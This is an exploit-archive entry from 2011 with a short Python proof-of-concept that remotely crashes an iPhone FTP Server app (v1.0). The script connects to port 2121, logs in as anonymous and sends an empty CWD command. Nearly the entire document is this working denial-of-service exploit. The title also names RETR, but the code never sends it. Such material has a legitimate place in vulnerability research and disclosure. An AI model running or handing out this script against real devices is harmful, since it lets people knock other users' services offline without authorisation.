iPhone4 FTP Server V1.0 - Empty CWD-RETR Remote Crash

# Exploit Title: iPhone4 FTP Server V1.0 - Empty CWD-RETR Remote Crash
# Date: 2011-05-30
# Author: offsetIntruder
# Software Link: http://itunes.apple.com/us/app/ftp-server/id356055128?mt=8
# Version: 1.0
# Tested on: iPhone4 IOS 4.3.2
# CVE: N/A
 
import socket
import sys
 
user="anonymous"

 
print("\n iPhone4 FTP Server By Zhang Boyang - Empty CWD-RETR Remote Crash\n")

def ExploitFTP(target):
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 s.connect((target,2121))
 data = s.recv(1024)
 print("[+] Sending user login...")
 s.send("USER " + user + '\r\n')
 data = s.recv(1024)
 print("[+] Sending empty CWD...\n")
 s.send("CWD \r\n")
 data = s.recv(1024)
 s.close()
 
target = sys.argv[1]
 
ExploitFTP(target)